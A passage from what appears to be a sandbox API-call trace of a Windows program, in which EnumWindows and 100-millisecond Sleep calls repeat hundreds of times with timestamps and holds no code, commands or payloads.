(dwMilliseconds=0x64) [0209.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.136] Sleep (dwMilliseconds=0x64) [0209.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.138] Sleep (dwMilliseconds=0x64) [0209.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.303] Sleep (dwMilliseconds=0x64) [0209.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.306] Sleep (dwMilliseconds=0x64) [0209.330] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.331] Sleep (dwMilliseconds=0x64) [0209.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.334] Sleep (dwMilliseconds=0x64) [0209.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.337] Sleep (dwMilliseconds=0x64) [0209.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.339] Sleep (dwMilliseconds=0x64) [0209.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.340] Sleep (dwMilliseconds=0x64) [0209.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.342] Sleep (dwMilliseconds=0x64) [0209.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.366] Sleep (dwMilliseconds=0x64) [0209.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.369] Sleep (dwMilliseconds=0x64) [0209.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.370] Sleep (dwMilliseconds=0x64) [0209.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.377] Sleep (dwMilliseconds=0x64) [0209.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.379] Sleep (dwMilliseconds=0x64) [0209.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.380] Sleep (dwMilliseconds=0x64) [0209.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.382] Sleep (dwMilliseconds=0x64) [0209.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.385] Sleep (dwMilliseconds=0x64) [0209.386] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.387] Sleep (dwMilliseconds=0x64) [0209.389] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.389] Sleep (dwMilliseconds=0x64) [0209.391] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.391] Sleep (dwMilliseconds=0x64) [0209.393] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.393] Sleep (dwMilliseconds=0x64) [0209.395] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.395] Sleep (dwMilliseconds=0x64) [0209.396] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.397] Sleep (dwMilliseconds=0x64) [0209.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.398] Sleep (dwMilliseconds=0x64) [0209.400] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.400] Sleep (dwMilliseconds=0x64) [0209.402] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.402] Sleep (dwMilliseconds=0x64) [0209.404] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.404] Sleep (dwMilliseconds=0x64) [0209.406] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.406] Sleep (dwMilliseconds=0x64) [0209.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.408] Sleep (dwMilliseconds=0x64) [0209.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.410] Sleep (dwMilliseconds=0x64) [0209.412] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.413] Sleep (dwMilliseconds=0x64) [0209.419] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.419] Sleep (dwMilliseconds=0x64) [0209.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.422] Sleep (dwMilliseconds=0x64) [0209.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.424] Sleep (dwMilliseconds=0x64) [0209.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.426] Sleep (dwMilliseconds=0x64) [0209.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.428] Sleep (dwMilliseconds=0x64) [0209.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.430] Sleep (dwMilliseconds=0x64) [0209.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.432] Sleep (dwMilliseconds=0x64) [0209.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.434] Sleep (dwMilliseconds=0x64) [0209.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.436] Sleep (dwMilliseconds=0x64) [0209.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.438] Sleep (dwMilliseconds=0x64) [0209.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.440] Sleep (dwMilliseconds=0x64) [0209.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.442] Sleep (dwMilliseconds=0x64) [0209.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.444] Sleep (dwMilliseconds=0x64) [0209.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.447] Sleep (dwMilliseconds=0x64) [0209.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.448] Sleep (dwMilliseconds=0x64) [0209.450] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.450] Sleep (dwMilliseconds=0x64) [0209.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.452] Sleep (dwMilliseconds=0x64) [0209.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.454] Sleep (dwMilliseconds=0x64) [0209.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.456] Sleep (dwMilliseconds=0x64) [0209.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.458] Sleep (dwMilliseconds=0x64) [0209.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.461] Sleep (dwMilliseconds=0x64) [0209.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.463] Sleep (dwMilliseconds=0x64) [0209.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.465] Sleep (dwMilliseconds=0x64) [0209.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.467] Sleep (dwMilliseconds=0x64) [0209.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.468] Sleep (dwMilliseconds=0x64) [0209.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.470] Sleep (dwMilliseconds=0x64) [0209.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.472] Sleep (dwMilliseconds=0x64) [0209.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.474] Sleep (dwMilliseconds=0x64) [0209.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.476] Sleep (dwMilliseconds=0x64) [0209.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.478] Sleep (dwMilliseconds=0x64) [0209.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.480] Sleep (dwMilliseconds=0x64) [0209.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.482] Sleep (dwMilliseconds=0x64) [0209.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.484] Sleep (dwMilliseconds=0x64) [0209.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.485] Sleep (dwMilliseconds=0x64) [0209.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.487] Sleep (dwMilliseconds=0x64) [0209.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.489] Sleep (dwMilliseconds=0x64) [0209.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.491] Sleep (dwMilliseconds=0x64) [0209.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.493] Sleep (dwMilliseconds=0x64) [0209.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.495] Sleep (dwMilliseconds=0x64) [0209.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.508] Sleep (dwMilliseconds=0x64) [0209.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.511] Sleep (dwMilliseconds=0x64) [0209.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.513] Sleep (dwMilliseconds=0x64) [0209.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.515] Sleep (dwMilliseconds=0x64) [0209.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.517] Sleep (dwMilliseconds=0x64) [0209.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.519] Sleep (dwMilliseconds=0x64) [0209.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.521] Sleep (dwMilliseconds=0x64) [0209.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.523] Sleep (dwMilliseconds=0x64) [0209.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.525] Sleep (dwMilliseconds=0x64) [0209.526] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.527] Sleep (dwMilliseconds=0x64) [0209.528] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.529] Sleep (dwMilliseconds=0x64) [0209.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.530] Sleep (dwMilliseconds=0x64) [0209.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.532] Sleep (dwMilliseconds=0x64) [0209.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.534] Sleep (dwMilliseconds=0x64) [0209.536] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.536] Sleep (dwMilliseconds=0x64) [0209.564] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.565] Sleep (dwMilliseconds=0x64) [0209.567] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.567] Sleep (dwMilliseconds=0x64) [0209.569] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.570] Sleep (dwMilliseconds=0x64) [0209.572] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.572] Sleep (dwMilliseconds=0x64) [0209.574] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.574] Sleep (dwMilliseconds=0x64) [0209.576] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.576] Sleep (dwMilliseconds=0x64) [0209.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.578] Sleep (dwMilliseconds=0x64) [0209.580] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.580] Sleep (dwMilliseconds=0x64) [0209.582] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.582] Sleep (dwMilliseconds=0x64) [0209.583] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.583] Sleep (dwMilliseconds=0x64) [0209.585] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.585] Sleep (dwMilliseconds=0x64) [0209.587] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.588] Sleep (dwMilliseconds=0x64) [0209.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.590] Sleep (dwMilliseconds=0x64) [0209.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.592] Sleep (dwMilliseconds=0x64) [0209.594] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.594] Sleep (dwMilliseconds=0x64) [0209.596] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.596] Sleep (dwMilliseconds=0x64) [0209.598] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.598] Sleep (dwMilliseconds=0x64) [0209.600] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.600] Sleep (dwMilliseconds=0x64) [0209.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.602] Sleep (dwMilliseconds=0x64) [0209.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.605] Sleep (dwMilliseconds=0x64) [0209.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.607] Sleep (dwMilliseconds=0x64) [0209.608] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.608] Sleep (dwMilliseconds=0x64) [0209.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.610] Sleep (dwMilliseconds=0x64) [0209.612] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.613] Sleep (dwMilliseconds=0x64) [0209.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.614] Sleep (dwMilliseconds=0x64) [0209.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.617] Sleep (dwMilliseconds=0x64) [0209.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.618] Sleep (dwMilliseconds=0x64) [0209.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.621] Sleep (dwMilliseconds=0x64) [0209.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.623] Sleep (dwMilliseconds=0x64) [0209.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.624] Sleep (dwMilliseconds=0x64) [0209.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.626] Sleep (dwMilliseconds=0x64) [0209.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.628] Sleep (dwMilliseconds=0x64) [0209.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.630] Sleep (dwMilliseconds=0x64) [0209.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.632] Sleep (dwMilliseconds=0x64) [0209.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.634] Sleep (dwMilliseconds=0x64) [0209.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.636] Sleep (dwMilliseconds=0x64) [0209.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.638] Sleep (dwMilliseconds=0x64) [0209.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.639] Sleep (dwMilliseconds=0x64) [0209.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.642] Sleep (dwMilliseconds=0x64) [0209.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.644] Sleep (dwMilliseconds=0x64) [0209.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.646] Sleep (dwMilliseconds=0x64) [0209.648] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.648] Sleep (dwMilliseconds=0x64) [0209.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.650] Sleep (dwMilliseconds=0x64) [0209.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.652] Sleep (dwMilliseconds=0x64) [0209.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.654] Sleep (dwMilliseconds=0x64) [0209.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.696] Sleep (dwMilliseconds=0x64) [0209.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.720] Sleep (dwMilliseconds=0x64) [0209.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.734] Sleep (dwMilliseconds=0x64) [0209.769] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.770] Sleep (dwMilliseconds=0x64) [0209.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.849] Sleep (dwMilliseconds=0x64) [0209.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.851] Sleep (dwMilliseconds=0x64) [0209.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0209.915] Sleep (dwMilliseconds=0x64) [0210.047] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0210.048] Sleep (dwMilliseconds=0x64) [0210.171] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0210.173] Sleep (dwMilliseconds=0x64) [0210.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0210.209] Sleep (dwMilliseconds=0x64) [0210.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0210.478] Sleep (dwMilliseconds=0x64) [0210.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0210.579] Sleep (dwMilliseconds=0x64) [0210.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0210.696] Sleep (dwMilliseconds=0x64) [0210.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0210.698] Sleep (dwMilliseconds=0x64) [0210.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0210.723] Sleep (dwMilliseconds=0x64) [0210.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0210.836] Sleep (dwMilliseconds=0x64) [0210.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0210.889] Sleep (dwMilliseconds=0x64) [0211.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.090] Sleep (dwMilliseconds=0x64) [0211.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.232] Sleep (dwMilliseconds=0x64) [0211.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.345] Sleep (dwMilliseconds=0x64) [0211.396] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.397] Sleep (dwMilliseconds=0x64) [0211.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.457] Sleep (dwMilliseconds=0x64) [0211.506] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.507] Sleep (dwMilliseconds=0x64) [0211.508] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.509] Sleep (dwMilliseconds=0x64) [0211.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.512] Sleep (dwMilliseconds=0x64) [0211.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.550] Sleep (dwMilliseconds=0x64) [0211.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.659] Sleep (dwMilliseconds=0x64) [0211.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.661] Sleep (dwMilliseconds=0x64) [0211.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.663] Sleep (dwMilliseconds=0x64) [0211.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.713] Sleep (dwMilliseconds=0x64) [0211.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.823] Sleep (dwMilliseconds=0x64) [0211.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.840] Sleep (dwMilliseconds=0x64) [0211.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.843] Sleep (dwMilliseconds=0x64) [0211.845] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.846] Sleep (dwMilliseconds=0x64) [0211.847] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.847] Sleep (dwMilliseconds=0x64) [0211.849] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.849] Sleep (dwMilliseconds=0x64) [0211.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.851] Sleep (dwMilliseconds=0x64) [0211.853] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.853] Sleep (dwMilliseconds=0x64) [0211.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.857] Sleep (dwMilliseconds=0x64) [0211.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.858] Sleep (dwMilliseconds=0x64) [0211.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.860] Sleep (dwMilliseconds=0x64) [0211.862] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.862] Sleep (dwMilliseconds=0x64) [0211.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.865] Sleep (dwMilliseconds=0x64) [0211.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.866] Sleep (dwMilliseconds=0x64) [0211.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.868] Sleep (dwMilliseconds=0x64) [0211.870] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.870] Sleep (dwMilliseconds=0x64) [0211.872] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.873] Sleep (dwMilliseconds=0x64) [0211.875] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.875] Sleep (dwMilliseconds=0x64) [0211.877] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.877] Sleep (dwMilliseconds=0x64) [0211.879] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.879] Sleep (dwMilliseconds=0x64) [0211.881] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.881] Sleep (dwMilliseconds=0x64) [0211.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.884] Sleep (dwMilliseconds=0x64) [0211.886] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.886] Sleep (dwMilliseconds=0x64) [0211.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.888] Sleep (dwMilliseconds=0x64) [0211.890] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.890] Sleep (dwMilliseconds=0x64) [0211.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.894] Sleep (dwMilliseconds=0x64) [0211.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.896] Sleep (dwMilliseconds=0x64) [0211.898] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.898] Sleep (dwMilliseconds=0x64) [0211.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.901] Sleep (dwMilliseconds=0x64) [0211.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.902] Sleep (dwMilliseconds=0x64) [0211.904] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.905] Sleep (dwMilliseconds=0x64) [0211.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.907] Sleep (dwMilliseconds=0x64) [0211.909] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.909] Sleep (dwMilliseconds=0x64) [0211.912] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.912] Sleep (dwMilliseconds=0x64) [0211.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.914] Sleep (dwMilliseconds=0x64) [0211.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.916] Sleep (dwMilliseconds=0x64) [0211.918] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.919] Sleep (dwMilliseconds=0x64) [0211.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.921] Sleep (dwMilliseconds=0x64) [0211.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.923] Sleep (dwMilliseconds=0x64) [0211.924] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.925] Sleep (dwMilliseconds=0x64) [0211.926] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.926] Sleep (dwMilliseconds=0x64) [0211.928] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.929] Sleep (dwMilliseconds=0x64) [0211.930] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.930] Sleep (dwMilliseconds=0x64) [0211.932] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.933] Sleep (dwMilliseconds=0x64) [0211.934] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.934] Sleep (dwMilliseconds=0x64) [0211.936] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.936] Sleep (dwMilliseconds=0x64) [0211.938] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.938] Sleep (dwMilliseconds=0x64) [0211.940] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.940] Sleep (dwMilliseconds=0x64) [0211.941] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.941] Sleep (dwMilliseconds=0x64) [0211.943] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.944] Sleep (dwMilliseconds=0x64) [0211.945] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.945] Sleep (dwMilliseconds=0x64) [0211.947] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.947] Sleep (dwMilliseconds=0x64) [0211.949] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.949] Sleep (dwMilliseconds=0x64) [0211.952] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.952] Sleep (dwMilliseconds=0x64) [0211.955] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.955] Sleep (dwMilliseconds=0x64) [0211.956] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.957] Sleep (dwMilliseconds=0x64) [0211.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.958] Sleep (dwMilliseconds=0x64) [0211.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.960] Sleep (dwMilliseconds=0x64) [0211.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.961] Sleep (dwMilliseconds=0x64) [0211.963] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.964] Sleep (dwMilliseconds=0x64) [0211.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.965] Sleep (dwMilliseconds=0x64) [0211.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.967] Sleep (dwMilliseconds=0x64) [0211.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.969] Sleep (dwMilliseconds=0x64) [0211.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.971] Sleep (dwMilliseconds=0x64) [0211.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.973] Sleep (dwMilliseconds=0x64) [0211.974] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.974] Sleep (dwMilliseconds=0x64) [0211.976] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.976] Sleep (dwMilliseconds=0x64) [0211.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.978] Sleep (dwMilliseconds=0x64) [0211.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.980] Sleep (dwMilliseconds=0x64) [0211.981] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.982] Sleep (dwMilliseconds=0x64) [0211.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.984] Sleep (dwMilliseconds=0x64) [0211.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.987] Sleep (dwMilliseconds=0x64) [0211.989] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.989] Sleep (dwMilliseconds=0x64) [0211.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.991] Sleep (dwMilliseconds=0x64) [0211.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.993] Sleep (dwMilliseconds=0x64) [0211.994] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.994] Sleep (dwMilliseconds=0x64) [0211.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0211.996] Sleep 